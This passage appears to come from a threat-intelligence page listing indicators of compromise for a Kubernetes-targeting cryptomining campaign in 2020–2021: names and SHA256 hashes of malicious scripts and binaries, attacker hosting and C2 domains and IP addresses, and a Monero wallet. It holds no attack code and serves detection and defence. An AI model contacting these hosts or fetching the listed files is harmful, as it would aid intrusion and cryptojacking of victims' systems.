&lt;a href="#spring-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-2"&gt;&lt;/span&gt;
&lt;a href="#files-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;clean.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6b8d828511b479e3278264eff68059f03b3b8011f9a6daaeff2af06b13ba6090&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dns&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6c73e45b06544fc43ce0e9164be52810884f317a710978c31462eb5b8ebc30cc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dns3&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dns3_32bit&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3876b58d12e27361bdfebd6efc5423d79b6676ca3b9d800f87098e95c3422e84&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.sh (Trend Micro)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;459190ba0173640594d9b1fa41d5ba610ecea59fd275d3ff378d4cedb044e26d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.sh (the second script)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;5c488d9d6820f859cde5fb5d147cfe584a603152653d12e720b897df60c6f810&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mxutzh.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8926672fe6ab2f9229a72e344fcb64a880a40db20f9a71ba0d92def9c14497b6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;NarrenKappe.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;d791ac65b01008d2be9622095e6020d7a7930b6ce1713de5d713fc3cccfa862&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.mytoys.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b60be03a7305946a5b1e2d22aa4f8e3fc93a55e1d7637bebb58bf2de19a6cf4a&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.xmrig.curl.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bebaac2a2b1d72aa189c98d00f4988b24c72f72ae9348c49f62d16b433b05332&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sysinfo&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3c907087ec77fc1678011f753ddf4531a484009f3c64563d96eff0edea0dcd29&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;lan.redis.pwn.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;25b4c5a3b3bfb1adab66fe17313a9828ef4ed13ea903e603f0ae36f3aa00cab0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;minion_worker.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2adb1a298dd4ffd1b4fe2d5f5468363e977c8962dc837dc57219362ee2fc3127&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Summer 2020&lt;span class="hx:absolute hx:-mt-20" id="summer-2020"&gt;&lt;/span&gt;
&lt;a href="#summer-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-3"&gt;&lt;/span&gt;
&lt;a href="#files-3" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Carray.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;230e2a06df2cd7574ee15cb13714d77182f28d50f83a6ed58af39f1966177769&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;clean.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;c55e4c67ba3cf54360a88980183767522fc05e8bf076f31399ee45efbfbd78e5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;9f5e14ca8c877b7dff84ffbe018c461233af975654bd5b87431920dfc24568a5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron_set.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ds.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a386aced768146fecfe81cac214c51c7e575b2c0c27a29c683e3357706f651ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;616c3d5b2e1c14f53f8a6cceafe723a91ad9f61b65dd22b247788329a41bc20e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;local.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b556d266b154c303bb90db005d7dd4267ed8d0e711e3fd32406c64b1fc977f9e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mos.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;0742efecbd7af343213a50cc5fd5cd2f8475613cfe6fb51f4296a7ec4533940d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ssh.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;929c3017e6391b92b2fbce654cf7f8b0d3d222f96b5b20385059b584975a298b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tnt.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b3c94173daf8f825dcba80ecc813dd0ca36636851f9fa83901ae3b36af166d78&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1b7180c7e1f150ba6848e392e8482b83c638b27b37873f7f0948be991416431&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;616c3d5b2e1c14f53f8a6cceafe723a91ad9f61b65dd22b247788329a41bc20e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron_set.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ds.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a386aced768146fecfe81cac214c51c7e575b2c0c27a29c683e3357706f651ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b6e369f0eb241ffb1b63c8c5b2b8a9131a9b98125ca869165f899026ab2c64ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ssh.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b9036b471ade3a0ed2c3e7d7c20f0844ee15d67ddcbe3380350944e427a7bf49&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cron.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;c4cd9c12d47e5468f6f6e4b27e122f1a3d05dcae958245b59bde07d11c27328e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Archives&lt;span class="hx:absolute hx:-mt-20" id="archives"&gt;&lt;/span&gt;
&lt;a href="#archives" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;01.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;78037e2d2e596bd450b99551535fa9c38c4e8346ab75eb424bf9e95316424fbe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;21.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4f115381c17ba1dedb25d35d922feda9a723e206d811ed437b75fd8116ef461b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;22.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4a5d3435cd4a835056b4940e1cea9a25b1619562525bd9953a120b556b305983&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;about.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a79d4f5633dbbe98842d5073b41cc25468679c46e011373587ffdbc544d1ea12&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;det.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;79a060a0efcf4a1538c58e532b984dcd927fda17ca9fd10c2ff212f9d9d76be6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mod.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;feb0a0f5ffba9d7b7d6878a8890a6d67d3f8ef6106e4e88719a63c3351e46a06&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;stock.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2c40b76408d59f906f60db97ea36503bfc59aed22a154f5d564d8449c300594f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Binaries&lt;span class="hx:absolute hx:-mt-20" id="binaries"&gt;&lt;/span&gt;
&lt;a href="#binaries" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;impressum.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;f64a828d58ac5bbdde5e982ebb0766c8969cb63b4ab642467392042f2a594295&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;jq.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bcfa215dec8fe15d4265c508c39c1ebafb7370acc95721e4e7d610b0459eb8dd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kube.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;15dce6f833812b119de9447db49e61f5c238c4e45b0dafbe0b6af0ab50bb329a&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ms.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;72b1cbfbd87c6cd85b9dc1da48c852768003e7fb4f01d8f6904921474be199ad&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;socat.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;71c81cb46dd1903f12f3aef844b0fc559f31e2f613a8ae91ffb5630bc7011ef5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tshd.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ba974b31c7e6715b83e9468f72fd5927d560fe80dbcba8c4466bb8ce5b93601d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;zgrab.jpg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1474298ed7a5c63ca8098794cd743a276807cca0e678e046160718626bb038f3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;portainer&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://moneroocean.stream/"target="_blank" rel="noopener"&gt;88ZrgnVZ687Wg8ipWyapjCVRWL8yFMRaBDrxtiPSwAQrNz5ZJBRozBSJrCYffurn1Qg7Jn7WpRQSAA3C8aidaeadAn4xi4k&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fall 2020&lt;span class="hx:absolute hx:-mt-20" id="fall-2020"&gt;&lt;/span&gt;
&lt;a href="#fall-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network-2"&gt;&lt;/span&gt;
&lt;a href="#network-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;th style="text-align: left"&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;85[.]214.149.236&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;https://iplogger[.]org/2Xvkv5&lt;/td&gt;
&lt;td style="text-align: left"&gt;Used to obtain the IP address of the victim&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3b4ff9aff08a7ca9a36ed997f94adb6b18bb757157cec4f04b53ba67e9377003&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kdevtmpfsi&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dd603db3e2c0800d5eaa262b6b8553c68deaa486b545d4965df5dc43217cc839&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrigCCMiner_64Bit&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b6f57f8a7fba70d6660335828d2a14029c88079a8176dca2c63281a759fd84ca&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;x86_64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fdf26ebad48da26be59b5784f43d1e5ee2efa93c59a717fe2ae1d82bf3f016d3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Winter 2021&lt;span class="hx:absolute hx:-mt-20" id="winter-2021"&gt;&lt;/span&gt;
&lt;a href="#winter-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Attacking Kubernetes&lt;span class="hx:absolute hx:-mt-20" id="attacking-kubernetes-1"&gt;&lt;/span&gt;
&lt;a href="#attacking-kubernetes-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network-3"&gt;&lt;/span&gt;
&lt;a href="#network-3" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;th style="text-align: left"&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;The.borg[.]wtf (45.9.150.36)&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;147.75.47.199&lt;/td&gt;
&lt;td style="text-align: left"&gt;Used to obtain the IP address of the victim&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;teamtnt.red (45.9.148.108)&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Borg.wtf (45.9.148.108)&lt;/td&gt;
&lt;td style="text-align: left"&gt;Host malicious scripts and binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Irc.borg.wtf (123.245.9[.]147)&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Sampwn.anondns.net (13.245.9[.]147)&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;164.68.106.96&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;62.234.121.105&lt;/td&gt;
&lt;td style="text-align: left"&gt;C2 server and runs IRC server&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-4"&gt;&lt;/span&gt;
&lt;a href="#files-4" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;TDGG&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2c1528253656ac09c7473911b24b243f083e60b98a19ba1bbb050979a1f38a0f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tt.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;2cde98579162ab165623241719b2ab33ac40f0b5d0a8ba7e7067c7aebc530172&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;api.key&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b34df4b273b3bedaab531be46a0780d97b87588e93c1818158a47f7add8c7204&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tmate&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;d2fff992e40ce18ff81b9a92fa1cb93a56fb5a82c1cc428204552d8dfa1bc04f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sGAU.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;74e3ccaea4df277e1a9c458a671db74aa47630928a7825f75994756512b09d64&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kshell&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8e33496ea00218c07145396c6bcf3e25f4e38a1061f807d2d3653497a291348c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;install_monerod.bash&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;518a19aa2c3c9f895efa0d130e6355af5b5d7edf28e2a2d9b944aa358c23d887&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup_moneroocean_miner.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;5923f20010cb7c1d59aab36ba41c84cd20c25c6e64aace65dc8243ea827b537b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig (oneroocean)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a22c2a6c2fdc5f5b962d2534aaae10d4de0379c9872f07aa10c77210ca652fa9&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pei.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ee6dbbf85a3bb301a2e448c7fddaa4c1c6f234a8c75597ee766c66f52540d015&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pei64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;937842811b9e2eb87c4c19354a1a790315f2669eea58b63264f751de4da5438d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pei32&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;72cff62d801c5bcb185aa299eb26f417aad843e617cf9c39c69f9dde6eb82742&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmr3.assi&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;12c5c5d556394aa107a433144c185a686aba3bb44389b7241d84bea766e2aea3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aws2.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;053318adb15cf23075f737daa153b81ab8bd0f2958fa81cd85336ecdf3d7de4e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;t.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e6422d97d381f255cd9e9f91f06e5e4921f070b23e4e35edd539a589b1d6aea7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;x86_64.so&lt;/code&gt;&lt;/td&gt;
